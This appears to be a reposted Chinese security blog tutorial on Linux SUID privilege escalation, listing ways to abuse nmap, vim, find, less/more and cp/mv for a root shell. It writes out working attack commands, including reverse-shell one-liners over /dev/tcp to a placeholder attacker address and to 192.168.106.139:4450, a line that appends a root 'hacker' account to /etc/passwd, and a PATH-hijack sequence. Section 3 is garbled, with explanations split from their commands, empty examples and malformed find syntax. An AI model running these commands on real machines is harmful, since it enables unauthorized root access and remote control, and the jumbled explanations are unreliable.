Linux提权之suid提权

admin 2024年5月19日04:10:55评论4 views字数 3027阅读10分5秒阅读模式

1.什么是suid?

suid(set user ID)是一种Linux文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。这样,用户就可以获得该程序所有者的权限,从而执行一些需要高级权限的操作。

2.为什么suid可以用于提权?

suid可以用于提权,是因为有些程序在执行时需要比普通用户更高的权限,例如passwd、ping、su等。这些程序通常由root用户或其他特权用户拥有,并设置了suid位,以便其他用户可以使用它们。如果这些程序存在漏洞或者被恶意修改,那么执行它们的用户就可能以root或其他特权用户的身份执行任意命令,从而实现提权。

3.如何寻找和利用suid程序?

寻找和利用suid程序的步骤如下:

  • 使用find命令查找系统中设置了suid位的可执行文件。例如:

find / -perm -u=s -type f 2>/dev/null

这条命令的意思是查找系统中设置了suid位的可执行文件,并忽略错误信息。详细解释如下:

  • find是一个查找文件的工具,它可以根据不同的条件来搜索文件。

  • /是一个路径,表示从根目录开始搜索。

  • -perm -u=s是一个选项,表示只匹配那些用户(u)权限中包含suid(s)位的文件。suid位是一种特殊的文件权限,它允许用户在执行某个程序时,以该程序所有者的身份运行。

  • -type f是一个选项,表示只匹配那些类型(type)为普通文件(f)的文件。这样可以排除目录、链接、设备等其他类型的文件。

  • 2>/dev/null是一个重定向,表示将错误信息(2)输出到空设备(/dev/null),从而忽略错误信息。这样可以避免一些无关紧要的信息干扰搜索结果。

  • 分析找到的suid程序,判断是否存在漏洞或者是否可以被滥用。例如:

    /usr/bin/nmap --interactive
    !sh

    这两条命令的意思是利用nmap的交互模式执行shell命令,从而获取suid提权。详细解释如下:

    export PATH=/tmp:$PATH
    echo "/bin/sh" > /tmp/cat
    chmod +x /tmp/cat
    /usr/bin/find / -exec cat {} ;
    • export PATH=/tmp:$PATH是一个设置环境变量的命令,它表示将/tmp目录添加到PATH变量的最前面。PATH变量是一个存储可执行文件路径的变量,当用户输入一个命令时,系统会按照PATH变量中的顺序,从左到右,依次查找该命令所在的目录。如果在某个目录中找到了该命令,那么就执行该命令。如果没有找到,那么就报错。

    • echo "/bin/sh" > /tmp/cat是一个输出字符串到文件的命令,它表示将字符串/bin/sh输出到/tmp/cat文件中。/bin/sh是一个shell程序的路径,它可以用来执行命令行界面。/tmp/cat是一个文件名,它和一个常用的查看文件内容的工具cat同名,这是故意的,为了后面的利用。

    • chmod +x /tmp/cat是一个修改文件权限的命令,它表示给予/tmp/cat文件可执行(x)权限。这样,该文件就可以被当作一个程序来运行。

    • /usr/bin/find / -exec cat {} ;是一个查找文件并执行命令的工具,它表示从根目录(/)开始查找所有的文件,并对每个找到的文件执行cat命令。cat命令本来是用来查看文件内容的,但是在这里,由于之前修改了环境变量和创建了同名文件,所以系统会优先执行/tmp/cat文件,而不是真正的cat工具。而/tmp/cat文件中的内容就是启动一个shell程序。因此,这条命令实际上就是对每个找到的文件都启动一个shell程序。

    • 如果find有suid权限,那么执行这四条命令后,用户就可以以find的所有者(通常是root)的身份运行shell程序,从而实现提权。

    • /usr/bin/nmap是一个端口扫描工具,它可以用来探测网络中的主机和服务。它的路径是/usr/bin/nmap,表示它位于/usr/bin目录下。

    • --interactive是一个选项,表示进入nmap的交互模式。在这个模式下,用户可以输入nmap的命令来执行扫描或者其他操作。

    • !sh是一个特殊的命令,表示在nmap的交互模式下,执行shell命令。在这里,!表示执行后面的命令,而不是nmap的命令。sh表示启动一个shell,也就是一个命令行界面。

      如果nmap有suid权限,那么执行这两条命令后,用户就可以以nmap的所有者(通常是root)的身份运行shell命令,从而实现提权。

    • 判断是否可以通过环境变量或者配置文件影响suid程序的行为。例如:

    • 判断是否可以使用shell命令作为参数传递给suid程序。例如:

  • 利用找到的漏洞或者滥用方法,执行提权命令。例如:

    echo "hacker:$(openssl passwd -1 -salt hacker hacker):0:0:hacker:/root:/bin/bash" >> /etc/passwd
    su hacker
    • 修改/etc/passwd文件,添加一个新的root用户。例如:

  • 验证提权是否成功。例如:

id
whoami

4.以下是我整理的一些常见的suid提权的程序或命令,以及它们的利用方法:

  • nmap:nmap是一个端口扫描工具,如果它的版本在2.02-5.21之间,并且有suid权限,那么可以利用它的交互模式执行任意命令。具体步骤如下:

    • 运行nmap --interactive进入交互模式

    • 运行!sh或者其他命令获取shell

    • 如果需要反弹shell,可以运行!bash -i >& /dev/tcp/攻击者IP/端口 0>&1

  • vim:vim是一个文本编辑器,如果它有suid权限,那么可以利用它的shell选项执行任意命令。具体步骤如下:

    • 运行vim.tiny或者其他版本的vim

    • 按下ESC键,输入:set shell=/bin/sh

    • 输入:shell获取shell

  • find:find是一个查找文件的工具,如果它有suid权限,那么可以利用它的-exec选项执行任意命令。具体步骤如下:

    • 运行find / -exec /bin/sh ;获取shell

    • 如果需要反弹shell,可以运行find / -exec bash -i >& /dev/tcp/192.168.106.139/4450 0>&1 ;

  • less/more:less和more是两个查看文件内容的工具,如果它们有suid权限,那么可以利用它们的!选项执行任意命令。具体步骤如下:

    • 运行less /etc/passwd或者more /etc/passwd

    • 输入!/bin/sh或者其他命令获取shell

  • cp/mv:cp和mv是两个复制和移动文件的工具,如果它们有suid权限,那么可以利用它们覆盖一些敏感文件,例如/etc/passwd或者/etc/shadow。具体步骤如下:

    • 创建一个新的passwd或者shadow文件,其中包含一个新的root用户和密码

    • 运行cp 新文件 /etc/passwd或者mv 新文件 /etc/passwd

    • 运行su 新用户获取root权限

本公众号云息信安所提供的信息以及工具仅供安全测试人员用于授权测试,禁止用于未授权测试,请勿非法使用!!!造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号云息信安及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

原文始发于微信公众号(云息信安):Linux提权之suid提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日04:10:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权之suid提权http://cn-sec.com/archives/2021735.html

发表评论

匿名网友 填写信息